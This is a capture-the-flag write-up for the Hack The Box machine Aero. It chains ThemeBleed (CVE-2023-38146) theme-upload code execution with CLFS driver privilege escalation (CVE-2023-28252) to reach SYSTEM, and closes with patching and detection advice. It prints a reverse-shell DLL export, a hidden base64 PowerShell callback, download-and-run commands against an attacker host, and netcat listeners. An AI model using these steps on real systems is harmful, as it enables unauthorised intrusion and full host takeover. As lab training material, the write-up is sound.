Aero — ThemeBleed and CLFS Privilege Escalation

At a glance

Field	Value
Difficulty	Medium
Target environment	Windows 11; Microsoft IIS 10.0
Starting position	Unauthenticated network access
Objective	Gain a foothold by abusing a Windows theme-file upload, then escalate from a standard user to SYSTEM through the Common Log File System driver
Outcome	User-level shell via the ThemeBleed theme upload; SYSTEM command execution via the CLFS driver vulnerability

Summary

Aero is a Medium-rated Hack The Box Windows machine built around two public vulnerabilities. Initial access abuses CVE-2023-38146 (ThemeBleed) by uploading a malicious Windows theme that causes the host to load an attacker-controlled DLL, returning a shell as <LAB_USER>. Privilege escalation then applies CVE-2023-28252, a Windows Common Log File System (CLFS) driver flaw, to reach NT AUTHORITY\SYSTEM. Target and operator addresses, accounts, and the exploit payload are replaced with role-based placeholders; command syntax is preserved.

Attack path: Malicious theme upload → ThemeBleed DLL load → shell as <LAB_USER> → local enumeration → CLFS driver abuse → NT AUTHORITY\SYSTEM

Context and Objective

• Target: a Windows 11 host exposing a single web service, Microsoft IIS 10.0 on port 80.
• Application: a Windows theme-sharing portal with a theme-file upload feature.
• Starting position: unauthenticated network access, with no credentials provided.
• Objective: gain a foothold through the theme-processing workflow, then escalate local privileges to SYSTEM.
• Constraints: activity was confined to the Hack The Box lab environment.

Approach and Evidence

1. Service Enumeration

Observation: a full TCP scan exposes a single network service.

rustscan -a <TARGET_IP> --ulimit 5000 -- -Pn -sC -sV -oN nmap/Aero-TCP

80/tcp open  http    Microsoft IIS httpd 10.0
|_http-title: Aero Theme Hub

Significance: HTTP is the entire external attack surface, and the portal’s purpose — accepting Windows theme files — points at theme processing rather than a conventional web flaw, mapping directly to CVE-2023-38146.

Result: HTTP on port 80 (Microsoft IIS 10.0) is the only exposed service.

2. ThemeBleed Initial Access (CVE-2023-38146)

Observation: the upload feature accepts Windows theme files, and CVE-2023-38146 lets a crafted theme reference attacker-controlled content that the host loads while processing the theme.

Action: build a payload DLL exporting VerifyThemeVersion, the callback the public proof of concept invokes; stage it under the filename the PoC serves (ren <PAYLOAD_DLL> <STAGE_FILENAME>); generate a malicious theme; and start the PoC server alongside a listener.

extern "C" __declspec(dllexport) int VerifyThemeVersion(void)
{
    rev_shell();
    return 0;
}

.\ThemeBleed.exe make_theme <ATTACKER_HOST> aero.theme
.\ThemeBleed.exe server

.\nc64.exe -lvnp <CALLBACK_PORT>

Uploading the generated theme triggers three staged requests and the DLL callback:

Client requested stage 1 - Version check
Client requested stage 2 - Verify signature
Client requested stage 3 - LoadLibrary

connect to <ATTACKER_HOST> from (UNKNOWN) [<TARGET_IP>]
C:\Windows\system32>whoami
<LAB_USER>

Significance: processing a user-supplied theme loads attacker-controlled code, converting a file upload into remote code execution, and the staged-request sequence shows the DLL loaded through the expected theme callback.

Result: a reverse shell as <LAB_USER> is obtained.

3. Local Enumeration

Observation: after the foothold, the user profile is searched for files of interest.

Get-ChildItem "$env:USERPROFILE" -Recurse -File -Exclude desktop.ini

The recorded search identified a file named CVE-2023-28252_Summary.pdf in the user’s Documents folder; no directory-listing output was captured, so this finding is reported from the recorded session rather than a shown result. The filename is the intended privilege-escalation hint and points directly at CVE-2023-28252.

Significance: a vulnerability note sitting in a user-writable profile pointed straight at the local flaw to exploit next; in lab and CTF environments, patch notes, filenames, and metadata can disclose which weaknesses remain.

Result: a hint identifying the CLFS driver vulnerability is found in the user’s profile.

4. CLFS Privilege Escalation (CVE-2023-28252)

Observation: CVE-2023-28252 affects the Windows Common Log File System driver, and its exploitation is local, which fits the existing low-privileged shell.

Action: modify a working proof of concept so its SYSTEM branch launches a callback instead of a benign process, build it as x64 Release, host it, download it to the target, and execute it with a listener running.

if (strcmp(username, "SYSTEM") == 0) {
    system("powershell -nop -w hidden -e <BASE64_SHELL>");
}

python3 -m http.server <HTTP_PORT>

iwr http://<ATTACKER_HOST>:<HTTP_PORT>/clfs_eop.exe -OutFile clfs_eop.exe
.\nc64.exe -lvnp <CALLBACK_PORT>
.\clfs_eop.exe

Executing the exploit captures the SYSTEM token and fires the payload:

ACTUAL USER=SYSTEM

PS C:\Users\<LAB_USER>\Documents> whoami
nt authority\system

Significance: the CLFS driver flaw was the boundary crossed here, and the exploit crosses it to run the callback in the SYSTEM context.

Result: the whoami output confirms execution as nt authority\system.

Challenges and Decisions

The recorded work contains no failed attempts, blocked steps, or troubleshooting. The one documented adaptation — modifying a working CVE-2023-28252 proof of concept so its SYSTEM branch launches the callback instead of a benign process — is described in Stage 4; no other decisions were recorded.

Outcome

The evidence establishes authenticated code execution as <LAB_USER> through the theme-processing flaw and, after local privilege escalation, command execution as NT AUTHORITY\SYSTEM, with the SYSTEM identity confirmed by whoami. Limitations: the exploit payload is summarized rather than reproduced, and both intended flag captures are omitted.

Lessons and Recommendations

Each finding pairs the observed root cause with its demonstrated impact and a prioritized action. The actions are recommendations; none was validated in the lab.

1. Theme-file processing reaches code execution (CVE-2023-38146). Root cause: the portal accepts .theme uploads that the host processes, allowing a crafted theme to load attacker-referenced content. Impact: an uploaded theme became remote code execution as <LAB_USER>. Recommendation: apply the CVE-2023-38146 fix and treat theme files as untrusted input — reject or sandbox them rather than letting the host process them. Detection: alert on theme-file uploads and on DLL loads originating from user-writable or download directories.
2. Unpatched kernel-mode driver (CVE-2023-28252). Root cause: the Common Log File System driver carried a local elevation-of-privilege flaw. Impact: a standard user reached SYSTEM code execution. Recommendation: apply the Windows cumulative updates that contain the CLFS fix and keep driver-level patches within the normal update cycle. Detection: monitor for CLFS log-file manipulation and for unexpected SYSTEM-context child processes.
3. Vulnerability notes left in a user-accessible location. Root cause: a PDF named for the elevation CVE sat in the user’s profile. Impact: the filename indicated which local flaw to exploit next. Recommendation: keep patch and vulnerability notes out of end-user profile directories and accessible shares. Detection: include user profile directories in reviews for sensitive security or patch documentation.

References

• Hack The Box — Aero (retired machine)
• NVD — CVE-2023-38146 (Windows theme remote code execution, “ThemeBleed”)
• NVD — CVE-2023-28252 (Windows Common Log File System driver elevation of privilege)
• Microsoft Security Response Center — CVE-2023-38146 (vendor advisory and update guidance)
• Microsoft Security Response Center — CVE-2023-28252 (vendor advisory and update guidance)
• Gabe Kirkpatrick — CVE-2023-38146: Arbitrary Code Execution via Windows Themes (original ThemeBleed disclosure and proof of concept)
• ThemeBleed proof of concept (exploits-forsale) (public PoC used here)
• Microsoft Learn — Introduction to the Common Log File System (CLFS driver documentation)
• RustScan (fast port scanner)
• netcat for Windows (nc64.exe) (Windows netcat distribution)